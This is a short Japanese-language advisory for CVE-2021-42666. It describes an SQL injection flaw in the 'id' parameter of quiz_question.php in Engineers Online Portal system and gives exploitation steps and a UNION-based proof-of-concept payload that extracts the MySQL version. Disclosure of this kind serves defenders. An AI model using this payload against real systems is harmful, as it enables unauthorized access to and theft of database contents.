CVE-2021-42666

CVE-2021-42666 - Engineers online portal system におけるSQLインジェクションの脆弱性

技術的説明:

Engineers Online Portal system にはSQLインジェクションの脆弱性が存在します。攻撃者は、"quiz_question.php" Webページの脆弱な"id"パラメータを利用して、実行されるSQLクエリを操作できます。その結果、Webサーバーから機密データを抽出できます。

影響を受けるコンポーネント -

脆弱なページ - quiz_question.php

脆弱なパラメータ - "id"

エクスプロイトの手順:

1. http://localhost/nia_munoz_monitoring_system/quiz_question.php に移動
2. idパラメータにペイロードを挿入

概念実証 (Poc) -

以下のペイロードを使用すると、Webサーバー上で実行されているMySQLサーバーのバージョンを抽出できます。

' union select NULL,NULL,NULL,NULL,NULL,@@version,NULL,NULL,NULL;-- -

参考文献 -

https://www.exploit-db.com/exploits/50453

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42666